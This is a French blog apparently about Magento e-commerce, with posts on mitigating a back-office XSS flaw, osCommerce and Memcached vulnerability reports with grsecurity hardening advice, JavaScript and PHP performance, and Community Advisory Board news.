Déjà, pas de panique, la faille n’est pas gravissime car elle nécessite d’être déjà authentifié pour nuir. Techniquement, si quelqu’un a les accès en backoffice et veut nuir, ca risque d’être plus simple de faire autrement que de faire une XSS. Cela peut être une méthode subtil pour nuir cependant.

Imaginons qu’un concurrent réussisse à se connecter à votre backoffice, il lui sera alors possible de capter tous vos clients ou de leur nuire en infectant leurs browsers voir en détournant les commandes… Gênant.

Si (et ce n’est pas prouvé pour le moment), si la vulnérabilité touche aussi la version EE, les rôles peuvent être très séparés et du coup un stagiaire avec des droits de pioupiou pourrait injecter une XSS auprès des clients.

Que faire :

1. Mettre un mot de passe fort et ne faire des comptes qu’aux personnes de confiance
2. Déporter son backoffice sur un autre sous domaine et lui mettre un HTaccess
3. Mettre à jour sa version en 1.4 CE ou 1.7 EE
4. <chez Varien> auditer le code source <chez les webagency> faire auditer le site une fois qu’il est finit

écrit par Philippe Humeau \\ tags: cross site scripting magento, sécurité magento, xss magento

Allez, fin d’année, on se fait quand même un post pour relater deux évènements non négligeables en matière de sécurité, à savoir deux failles de sécurité. Il en sort régulièrement, sur tout un tas d’applications, alors je ne cite que ces deux là mais beaucoup d’autres mériterai le droit de citation également.

Mes camarades de NBS System ont repéré une faille de D.O.S sur Magento qui est en cour de traitement chez Varien et qui ne sera donc rendu publique que lorsqu’elle sera patchée. Nous allons ici nous intéresser à Os commerce et Memcached.

Faille OS-commerce

Pour ceux qui tournent encore en OS-commerce, Milworm reporte une méchante faille de sécurité sur le célèbre framework. L’auteur (Flyh4t) propose un exploit effectif sur les version 2.2 RC2a au moins. Il est probable que d’autres versions soient vulnérables. Ca date du 31/08 mais bon, vu la vitesse à laquelle se patch le parc Français quand il y a une vulnérabilité… (cf la vulnérabilité sur le DNS de Kaminsky ou on a encore 8% du parc en non patché). Plus d’info ici.

Faille Memcached

On continue en musique avec un bon gros trou de sécurité qui fait mal, sur Memcached. Alors là, c’est plus critique car nombreuses, très nombreuses, sont les plateformes qui utilisent Memcached, sur Magento comme ailleurs, ce système de cache est populaire.

Et pan le memcached :  http://www.securityfocus.com/bid/35989

C’est goutu, frais, long en bouche et fruité, mais non ce n’est pas un bourgogne, c’est memcached qui a un bon overflow… Wahouuu le pire du pire, l’overflow et pas qu’un seul. La faille date du 7/08 à l’origine mais elle a été mise en jour le 14/12 pour être beaucoup plus générique.

Ça ne touche cependant “officiellement” que les distribution Linux suivantes (à ce jour) : les suze, redhat, parus, mandrake et danga. En général, un overflow dans un code en C, ce n’est pas fondamentalement lié à la distribution mais plus au code que la distribution a compilé pour son usage. Cela signifie globalement que le code source de memcached est susceptible de contenir des overflows et donc qu’avoir son propre système au dessus pour protéger votre infrastructure, ca ne fera pas de mal.

Les personnes sérieuses en infogérance installent GRsec & Pax quand ils mettent des serveurs Linux en visibilité sur Internet, notamment parceque PHP contient pas mal d’overflow et que tout démon est susceptible d’en connaitre, comme une fois de plus le montre cette faille de Memcached.

Grsecurity, l’anti Overflow

Je ne serai donc trop vous recommander d’utiliser GRsec sur vos environnement de production puisque c’est la seule façon de se protéger à 99% contre les heap & stack overflow, off by one et autres “boundary check errors”.

Rappelons que quelqu’un qui réussit une attaque par overflow va prendre le contrôle de la zone d’exécution  du programme ainsi que ses droits pour ouvrir un shell à distance. Une fois cela fait, même si le démon tournait en www-user ou avec un autre utilisateur non privilégié, l’escalade vers le compte root prend 90% du temps moins de 5 minutes. Les overflows sont donc l’une des plus grande menace possible sur un système si ce n’est la plus grande puisqu’ils mènent quasi tout le temps à une compromission totale du serveur.

Pour ceux qui découvrent GRsec : vous pouvez voir un (très) vieux howto que j’avais écris il y a 5 ans ici mais qui vous expliquera déjà au moins la base. Sinon le site de Grsecurity.net vous donnera de l’info aussi.

Sincèrement, exposer un serveur linux sur le net sans le protéger contre les overflows c’est un peu comme aller se faire une partie échangiste “thaïlando-congolaise” sans capote, disons qu’il existe un risque…

écrit par Philippe Humeau \\ tags: faille os-commerce, memcached, overflow Memcached

Javascript et PHP sont-ils des sources de ralentissements ?

Je vais me faire des amis avec un titre comme celui-là

Maintenant, au-delà de la provoque, menons une analyse objective.

Nous avons, de nos jours, (au moins) deux gros goulots d’étranglement lorsque nous nous adressons à un site Web :

• Javascript du coté du client
• PHP du coté du serveur.

Analyse…

Parlons de Javascript…

En général, je m’intéresse plus aux performances des serveurs que des clients au sens “navigateurs”. En réalité, la performance des clients est en générale très liée à celle des serveurs pour être plus précis. Mais le serveur ne peux pas toujours tout.

Notamment les browsers encaissent plus ou moins bien le Javascript et surtout beaucoup de Javascript.

Opera, Chrome, Firefox, Internet Explorer et leurs copains ont une tendance très nette à réagir différemment (je n’apprends rien aux développeurs Web) et surtout à réagir plus ou moins bien et plus ou moins vite en interprétation de Javascript. De plus, ces différences se cumulent avec des comportements très différents d’un browser à l’autre, notamment le nombre de requêtes concurrentes (nombres d’éléments de la page chargé en parallèle).

Tous les sites récents utilisent énormément de Javascript et ont donc une belle tendance à charger la mule, surtout quand on a plusieurs onglets d’ouverts sur plusieurs sites, on a tout de suite des machine virtuelle javascript au sein des navigateurs qui se mettent à grossir.

Ok, so what ? Qu’est ce que j’y peux me réponde les développeurs…

Eh bien beaucoup de choses en fait. Déjà, un framework c’est bien mais ca n’empêche pas de réfléchir. Faire confiance aveuglément sans regarder le dessous des cartes, c’est ce qui mène au gâchis de ressources.

Optimiser ces points (comme d’autres), c’est ce que j’appelle la “culture atari / amiga”. En gros, à l’époque, les développeurs avaient des machines identiques, des machines avec des limites et on pensait à tirer le meilleur partie du Hardware, on optimisait son programme à la goutte prêt, on passait au plus proche du matériel pour faire des choses que les concepteurs de ces machines n’avaient même pas imaginé.

De nos jours, on prend un framework, on instancie un objet et hop, derrière ca pédale mais c’est plus mon problème… Revenons à Javascript.

Des soucis de tableaux !

Il y a de nombreuses sources de maux dans Javascript, langage qui devient incontournable sur le Web depuis 5 ans. Mais lorsque les sites traitent de sujets plus complexes ou offres de nouveaux raffinement, ce qui était “une brique parmi d’autres” devient plus sensible.

Commençons par un soucis simple de Javascript : les tableaux.

Allouer un tableau en JS déclenche des mécanismes très différents d’un malloc en C. Allons y ! Sous IE, la logique de traitement est la suivante :

var my_array = new Array();

for (i = 0; i < 100000; i ++)

my_array[i] = i;

1°) Je crée un objet array qui est une table de hashage.

2°) Comme une table de hashage est un objet générique, je lui crée un attribue length (taille) et on le met à 0

3°) La boucle fait, pour chaque valeur de i

• Une conversion de i en string (chaine de caractère, en gros i= « i »)
• Ajoute un clef de hash pour chaque couple « chaine i », i
• Réajuste la valeur de length

OMG. Donc, rien que pour assigner une valeur au tableau, on a fait 3 opérations (dont deux totalement inutile si on a codé un jour en C).

Pour compléter le tableau, les allocations réelles de mémoire ne sont pas continues car les tableaux sont gérés sous la forme de « sparse » array.

C’est avantageux en terme d’usage réel de la RAM car les blocks vides ne sont pas alloués, par contre les allocations ne sont pas contigüe. Du coup, les accès à ces blocks de données ne se font pas à la suite et n’utilise pas certains mécanismes de prédiction des processeurs ou certains caches des OS. De plus les entrées du tableau ne sont pas indexées.

Bon, maintenant, on a tout pour faire une usine à gaz de compétition !

Pour résoudre ce premier point, sous IE 8, le « sparse array » est détecté comme étant dense ou non. En gros il est très peuplé ou non. Pour que l’heuristique de IE8 comprenne que c’est un « dense sparse array », il faut que ce tableau soit d’une taille explicite (en théorie mais un autre blog ne dénote pas de différence de perfs sur ce point) par contre, il faut en initialiser tous les éléments. Le défaut c’est que toute la RAM est allouée et le coté « sparse » disparait.

Sur un gros PC ce n’est pas si dramatique mais sur un téléphone portable, ouch… Du coup, initialiser l’ensemble du tableau n’est pas toujours la bonne option. Un comportement optimal serait de détecter le navigateur et de lui proposer un Javascript optimisé pour le ratio Rapidité, consommation de CPU & RAM, logique de traitement. Une sorte de librairie optimisée de gestion des tableaux, dépendante de la plateforme qui l’exécute.

En termes d’impacts c’est non négligeable !

Quelques très bon liens pour ceux que ca intéresse. Le premier blog a d’ailleurs de très bons papiers d’une manière générale !

http://www.outofwhatbox.com/blog/2009/11/javascript-array-performance-initialize-to-optimize/

http://www.outofwhatbox.com/blog/2009/12/javascript-array-performance-and-why-it-matters/

http://blogs.msdn.com/jscript/archive/2008/03/25/performance-optimization-of-arrays-part-i.aspx

PHP et les performances : plantons le décor

Revenons à nos serveurs ! Dans une infrastructure Magento, ce qui pompe dur au niveau des performances, c’est PHP et de très loin.

Il faut évidemment de la RAM pour accélérer les accès et traiter les données mais les appels PHP coutent très chers. Et c’est bien logique car le Web est coincé dans un incroyable paradoxe.

Les langages interprétés (comme PHP) sont très adaptés à certains traitements mais d’une manière générale, pour tous les traitements répétitifs ou massifs, on les évite.

L’idée c’est que dans la rapidité des langages, l’échelle est très claire :

Les compilés :

Les langages ASM/C et C++ sont compilés et (donc) très rapides. On décrit le code et cela se transforme en Opcode directement interprétables et optimisables par le processeur. Tous les caches deviennent super efficaces (L1/L2/L3 du processeur notamment) et le programme traite les données au fil de l’eau et au fil du temps. Le programme se charge en mémoire, il ne s’arrête que quand on lui demande et peut sommeiller le temps d’attendre son prochain traitement.

Assembleur : niveau processeur directement, très peu voir pas d’interprétation, vitesse maximale.

C : Le code produit par un compilateur C est très proche de l’assembleur et donc extrêmement rapide. Pour autant cela reste un langage relativement évolué, contrairement à l’assembleur on a pas à tout écrire de zéro, des librairies existent, des includes, du code un peu évolué d’une manière générale.

C++ : Un langage C évolué et Objet. On monte encore un peu dans les couches, on fait de l’objet et du fonctionnel, on en est plus à la douce barbarie redoutablement efficace de l’assembleur mais ca reste un code qui, une fois compilé, est redoutablement efficace.

Très peu souples en typage ou en gestion de la mémoire, ces trois langages compilés, pour ne citer qu’eux, sont extrêmement rapides !

La machines virtuelles :

Ce sont des programmes qui crée un environnement permettant d’exécuter d’autres programmes en leur sein. L’intérêt essentiel est de s’affranchir de la couche en dessous, en gros le programme devient portable partout. Si la VM existe pour l’environnement matériel cible, le programme tournera (presque) à l’identique sans rien redévelopper. L’inconvénient, comme toute forme de virtualisation, c’est que la VM consomme de la ressource pour créer cette couche d’abstraction, bilan ces langages ne sont pas toujours des foudres de guerre.

Java et autres JVM

Java est le plus connu des langages tournant dans une machine virtuelle, la JVM. C’est un bon langage, objet, évolué et indépendant du matériel mais il souffre de devoir être compilé tout en étant pas aussi rapide qu’un autre langage compilé.

Les « interprétés » :

Aïe. Perl, PHP et de nombreux copains à eux sont des langages dits « interprétés ». A chaque fois qu’il est lancé, le programme (test.php par exemple) est lu par un interpréteur externe (php par exemple), le fichier est parcouru, compilé à la volée quelque part, mais une fois finit, on repart de zéro. Le fichier programme à interpréter est donc lu à chaque fois et le programme qui le lit, l’interpréteur, est un programme qui est lui chargé à chaque exécution aussi.

PHP :

Un des plus célèbres. Zend au dessus est en fait composé de PHP objet évolué au sein d’un Framework, encore une couche d’abstraction. Donc si l’on compare avec nos précédents amis, Zend c’est le C++, Php le C sauf que tout cela est lu/chargé/parsé/interprété puis exécuté en continu. C’est un peu comme si on avait à se taper la compilation a chaque fois qu’on lance le programme… En fait l’image est très exacte puisque c’est quasiment exactement ce qui se passe. Bilan, les langages interprété c’est pratique, facile à maintenir et programmer, on s’affranchit de tous les aspects un peu rigoureux d’allocation mémoire ou de gestion des taches de bases mais le coût en terme de performances est énorme.

PS : Javascript est un langage de scripting interprété tournant dans une machine virtuelle (navigateur)… Tout pour gagner J

Vers un PHP compilé ?

Comme signalé plus haut, l’interprété c’est consommateur et pas adapté aux traitements récurrents. Maintenant si l’on considère une architecture d’hébergement Web, que se passe-t-il.

Admettons que le site soit en Magento, on a un framework de deuxième niveau, qui repose sur un framework de premier niveau (Zend) qui repose sur un langage interprété objet (PHP5) qui repose sur un interpréteur (Php) qui lui-même est compilé et s’adresse en assembleur au processeur.

Ajoutez un peu de virtualisation là-dessus et avant qu’une requête ne passe à travers tout ce maillage, vous avez perdu une quantité de puissance tout proprement hallucinante !

En soit, aucun reproche au fait d’utiliser PHP ou sa syntaxe, par contre, soyons clairs l’approche est juste complètement aberrante. En fait si on essayait de faire pire, le seul moyen, ca serait de faire tourner l’interpréteur php dans une JVM…

Et oui, ce n’est pas anodin mais bien dramatique. A chaque fichier PHP que vous chargez, l’interpréteur est lancé. A chaque fichier php de chargez, vous provoquez toute la cascade de compilation, d’accès disque, d’exécution. Quand un visiteur passe, il provoque donc des centaines de lancement du programme PHP qui va interpréter autant de fichiers… C’est une boucherie, une hémorragie de puissance pour finalement un problème très bête.

Le problème ce n’est pas Magento, Zend ou les fichiers PHP en soit. Sortons de la barbarie de l’assembleur, vive l’objet et tout et tout, on développe plus vite, on réutilise du code, on capitalise des librairies ! C’est l’avancement logique, l’avenir, donc ca va continuer à se développer. Par contre, pourquoi on ne compile pas tout cela ?

La charge CPU des serveurs serait juste divisée par un facteur 10 à vue de nez… C’est à ce point négligeable ? Plus clairement, sur un serveur, au lieu d’accueillir 20 000 personnes par jours par exemple, on en accueillerait 200 000. Avec le même serveur. L’approximation est un peu grossière mais pas outrancière non plus.

Le Web, qui par essence provoque des milliers de lecture et interprétation de fichier de programme, utilise un système d’interprétation, ce qui est la pire façon de faire, ce qui est le plus consommateur possible. Voici le paradoxe.

Si je me la faisais à la Yann Arthus-Bertrand, je redirais « alors pourquoi toi, homo sapiens sapiens, ne compile tu pas tes langages Web ?». Es-tu conscient des ressources gâchées par cette hérésie et de l’impact, de l’empreinte carbone, de cette approche incompréhensible ? Tu veux vraiment défoncer les puits de soleil ? Tu es un inconscient pathologique, un criminel notoire, un serial-gâcheur ? Ooops, je m’emporte… Yann (dont j’aime beaucoup le travail mais un peu moins la voix monocorde) n’irait pas jusque là !

« Pourquoi ne compile t’on pas ? », bon ok, j’arrête de faire mon YAB…

Je n’ai rien contre les développeurs, qui n’y peuvent pas grand-chose si ce n’est optimiser leur code (ca serait déjà un bon début pour certain ceci étant). Ce qui me froisse par contre, c’est que l’on a pas encore de solutions parfaitement mûres pour corriger ce point.

Des soucis assez complexes de conception sont au rendez-vous pour passer du PHP de l’état interprétable à l’état compilé. Mais ne vous y trompez pas, le Graal est au bout de la route.

Plusieurs initiatives sont en cour de développement par des gens talentueux que je ne peux qu’encourager dans cette voie : Roadsend et PHC (Php compiler mais qui paraît à l’arrêt) semblent être les leaders dans cette voie.

http://www.phpcompiler.org/

http://www.roadsend.com/home/index.php?pageID=compiler

L’autre approche possible serait un cache plus efficace, pas uniquement des opcodes comme APC mais bien des pages rendues, du résultat de l’interprétation PHP. C’est ce vers quoi se dirige Zend Server, c’est une bonne première transition mais le compilateur serait bien LA solution !

En conclusion

Je dirais que PHP et surtout le modèle interprété qui va avec et Javascript et surtout l’implémentation qui en ait faite des les navigateurs autant que dans le code de certaines pages Web, sont deux problèmes.

Ces deux axes de progression nous apporteraient un Web plus rapide, souple et agréable d’utilisation. Le réseau n’est plus réellement une limite, les processeurs sont suffisamment puissants alors deux cas sont possibles :

- Quelques personnes douées arrivent au bout de ces deux problèmes

- Tout le monde se contente de ce qu’on a, on enterre la logique d’optimisation de l’époque atari & amiga, on tue les phoques et la banquise en consommant inutilement des ressources informatiques précieuses. On compense par plus de puissance, plus de ressources consommées, plutôt que de mieux utiliser.

Un classique me direz-vous ?

écrit par Philippe Humeau \\ tags: compilation php, interprétation php, langage interprété, performance Javascript, performance magento, performance php, performance zend

Bonjour à toutes & à tous,

Suite à notre réunion du CAB hier soir, voici un rapide compte rendu.

Uservoice & Roadmap de la version CE

Les retours par Uservoice vont être stoppés pour commencer la partie intégration des requêtes les plus fréquentes. Le uservoice sera surement réactivé plus tard mais l’équipe Varien a déjà largement assez de feedbacks pour bosser un an !

Release de la 1.4 en Community Edition

Varien continue sa restructuration interne et c’est la cause principale du retard de la version 1.4 Community Edition. Gabriel & moi avons été très directs pour dire à Varien que c’était une préoccupation majeure de la communauté ce retard mais Yoav nous a expliqué la raison de ce décalage qui est plutôt logique. Le principe c’est que la CE est le socle de la EE donc la majorité du tronc de la 1.6 en EE est ou sera présent dans la CE, notamment les optimisations de codes.

Mais pour des raisons de déménagement de l’équipe de Kiev, Misha et ses collaborateur ont été un peu ralentie dans leur travail. Yoav nous garantie une CE 1.4 finale pour la première semaine de janvier 2010 au plus tard.

Communauté, localisation, arrondis, docs/wiki

Ensuite la conversation à tourné sur les problématique d’arrondie des sommes et de frontaux / back office multilingues (par exemple français / allemand / italien en frontal et allemand en backoffice).

Koby Oz nous a lui parlé de l’effort qui va être fait par Varien pour montrer l’effort communautaire et promouvoir les outils de contribution, qui existe déjà, mais qui sont trop peu visibles. Apparemment, une section complète du site de Varien sera dédiée à ce point prochainement.

Un effort concernant la Doc et les traductions va être mené. Il se concentrera spécifiquement sur les aspects liés au Wiki pour “faire partager ce que vous avez tous dans la tête” à dit Koby aux CAB. Le savoir, les tips & tricks et toutes les formes de partages sont encouragé, Varien souhaite pousser ce Wiki qui “vivotte”.

Magento LE, Light Edition

Une des informations importantes également, c’est que Yoav confirme ce qu’il nous a dit lors de Bargento 3, il y aura une Magento LE, Light Edition. Le but est d’avoir un milieu de gamme entre la CE et la EE, qui soit à même de concurrencer tout autre produit de E-commerce sur ce segment de tarif. “More than the others for a better price”. Cette licence permettrait, peut être, la mutualisation, pour apporter Magento low cost au plus grand nombre et à des coûts très intéressants. Pas de date de release pour cette LE pour le moment puisque Varien continue se restructurer en interne mais une équipe dédiée y travaille déjà.

Koby & Yoav nous ont redit que l’important dans l’immédiat, c’était de permettre aux petites entreprises de passer à Magento puisque le produit à eu mauvaise presse à une époque sur ce segment (ce qui semble maintenant peu justifié vu les progrès de Magento en un an). Varien concentre donc ses efforts dans ce sens à tous les niveaux, optimisation du code, l’Academy pour fournir des développeurs, les fonctionnalités en constante augmentation de la CE et prochainement de la LE, etc…

Il y a eu quelques autres sujets mais je ne me souviens plus de tout et certaines personnes avaient un micro un peu déficient, je n’ai donc pas tout compris lors de leurs interventions.

écrit par Philippe Humeau \\ tags: cab meeting 4, compte rendu de la réunion communautaire, magento light edition

Bonjour à toutes & à tous,

Aujourd’hui, pas de grand article de 3 pages, juste quelques news  :

1°) Une Fan Page sur Facebook

Je vous annonce la création d’une Fan page de Bargento sur Facebook.
Vous pouvez retrouver votre évènementiel préféré sur Facebook à cette adresse.

2°) Deuxième news du jour : un module de gestion des conflits Magento Connect

Cette bonne idée nous vient de maisondulogiciel et s’appelle “Magento Extension Conflict”. Le but de cette extension est justement de vérifier si on part vers un Armaguédon en installant telle et telle extension ou si ca devrait bien se passer. D’après le site de l’éditeur :

“Extension Conflict est conçu pour aider les développeurs Magento à identifier les conflits entre les modules installés sur leur serveur.

Avec Extension Conflicts, les développeurs peuvent également soumettre le fichier config.xml d’une autre extension afin de vérifier qu’aucun conflit avec une autre extension ne se pose et ce, sans avoir à installer le nouveau module.”

Je dois bien avouer que nous ca nous a pas trop traumatisés mais je suppose que de nombreux développeurs vont apprécier la chose Rappelons en passant que ceux qui demandaient à corps et à cris une gestion de stocks dans Magento peuvent aussi jeter un œil sur le site du même éditeur qui s’est visiblement intéressé au problème. Attention cependant, la première extension est gratuite, la seconde (stock) est payante.

3°) CAB Meeting de Décembre 2009

Ce soir, on discute au CAB (Community Advisory Board). C’est l’endroit où les personnes impliquée dans la communauté Magento peuvent échanger des points de vu avec l’équipe Varien. On a Roy & Yoav qui viennent assez souvent nous rejoindre mais c’est Koby Oz le porte parole.

En France, Varien à 3 CAB : Gabriel Bouhatous, Fançois Ziserman et moi même Philippe Humeau. Si vous voulez que nous relayons un message, n’hésitez pas à nous en faire part.

Pour information, Gabriel & moi avons planifié de pousser une bonne gueulante sur la sortie ver CE 1.4.0.

On est en béta 1 depuis le 6 octobre 2009 alors que la version EE a déjà fait 2 évolutions. Comme on a défendu haut et fort que la EE avait sa place et n’était pas une menace pour la CE, on défendra ce soir la CE comme il se doit, l’éditeur doit y apporter le même soin, le même suivi, qu’à la EE.

Bien sûr, si on a un peu de news ce soir, je vous publie ca rapidement !

écrit par Philippe Humeau \\ tags: facebook bargento, fan page bargento